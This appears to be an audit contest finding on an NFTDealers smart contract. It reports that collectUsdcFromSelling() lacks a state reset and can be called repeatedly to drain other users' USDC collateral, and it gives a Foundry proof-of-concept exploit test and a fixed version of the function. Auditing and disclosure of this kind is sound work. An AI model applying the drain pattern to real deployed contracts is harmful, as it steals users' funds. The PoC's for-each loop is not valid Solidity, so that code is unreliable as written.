NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

collectUsdcFromSelling missing state reset enables unlimited re-collection draining contract USDC

Author Revealed upon completion

Root + Impact

Description

Normal behavior

After a successful sale the seller calls collectUsdcFromSelling()
once to receive their sale proceeds minus fees plus their original minting collateral
returned.

Issue

collectUsdcFromSelling() never resets collateralForMinting[listing.tokenId]
to zero and never marks proceeds as collected. The function only checks that the
listing is inactive (isActive == false), which remains true after every call.
A seller can call this function repeatedly, receiving (price - fees + collateral)
USDC on each call until the contract balance is exhausted. This drains USDC that
belongs to other users as their locked minting collateral.


function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> collateralForMinting[listing.tokenId] is never reset to zero
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
// @> no collected flag set — function can be called again with identical state
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

Any whitelisted user who has completed a sale can trigger this immediately
no special conditions required beyond a completed sale existing in state. The contract naturally accumulates USDC from multiple minters, making sufficient
balance available in any real deployment with more than one user.

Impact:

Attacker extracts more USDC than they are owed, stealing from the contract
balance funded by other users minting collateral. Victims cannot recover their locked collateral after the contract is drained resulting in permanent loss of funds.

Proof of Concept

Run with: forge test --match-path test/audit/DoubleCollect.t.sol -vv
​
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
​
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
​
contract DoubleCollectTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
​
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public attackerAlt = makeAddr("attackerAlt");
address public victim1 = makeAddr("victim1");
address public victim2 = makeAddr("victim2");
address public victim3 = makeAddr("victim3");
address public victim4 = makeAddr("victim4");
address public victim5 = makeAddr("victim5");
​
uint256 constant LOCK_AMOUNT = 20e6;
uint32 constant NFT_PRICE = 50e6;
​
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "https://example.com/img",
LOCK_AMOUNT);
​
usdc.mint(attacker, LOCK_AMOUNT);
usdc.mint(attackerAlt, NFT_PRICE);
usdc.mint(victim1, LOCK_AMOUNT); usdc.mint(victim2, LOCK_AMOUNT);
usdc.mint(victim3, LOCK_AMOUNT); usdc.mint(victim4, LOCK_AMOUNT);
usdc.mint(victim5, LOCK_AMOUNT);
​
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(victim1); nftDealers.whitelistWallet(victim2);
nftDealers.whitelistWallet(victim3); nftDealers.whitelistWallet(victim4);
nftDealers.whitelistWallet(victim5);
vm.stopPrank();
​
for (address v : [victim1, victim2, victim3, victim4, victim5]) {
vm.startPrank(v);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
}
}
​
function testDoubleCollectDrainsVictimCollateral() public {
// Attacker mints tokenId=6 and lists it
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(6, NFT_PRICE);
vm.stopPrank();
​
// attackerAlt buys — contract now holds 170 USDC
vm.startPrank(attackerAlt);
usdc.approve(address(nftDealers), NFT_PRICE);
nftDealers.buy(6);
vm.stopPrank();
​
// Attacker collects twice
vm.prank(attacker); nftDealers.collectUsdcFromSelling(6); // legitimate
vm.prank(attacker); nftDealers.collectUsdcFromSelling(6); // exploit
​
// Attacker received 139 USDC, spent 70 USDC — 69 USDC stolen from victims
// Contract drained to 31 USDC — victims cannot recover their 100 USDC collateral
assertEq(usdc.balanceOf(attacker), 139e6);
assertLt(usdc.balanceOf(address(nftDealers)), 100e6);
}
}
​
Setup: 5 victims each mint (locking 20 USDC each = 100 USDC total). Attacker mints and lists their NFT for 50 USDC. A second attacker address buys it.
Contract now holds 170 USDC.
​
The attacker then calls collectUsdcFromSelling() twice on the same listing.
Each call sends 69.5 USDC (50 - 0.5 fee + 20 collateral). The attacker receives
139 USDC having spent only 70 USDC, stealing 69 USDC from victims. The contract
is left with 31 USDC — victims cannot recover their 100 USDC collateral.

Recommended Mitigation

Reset collateralForMinting and the listing price to zero before transferring funds,
following the checks-effects-interactions pattern. This makes sure a second call finds
nothing to pay out and reverts.
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(collateralForMinting[listing.tokenId] > 0 || listing.price > 0, "Already collected");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
+ s_listings[_listingId].price = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!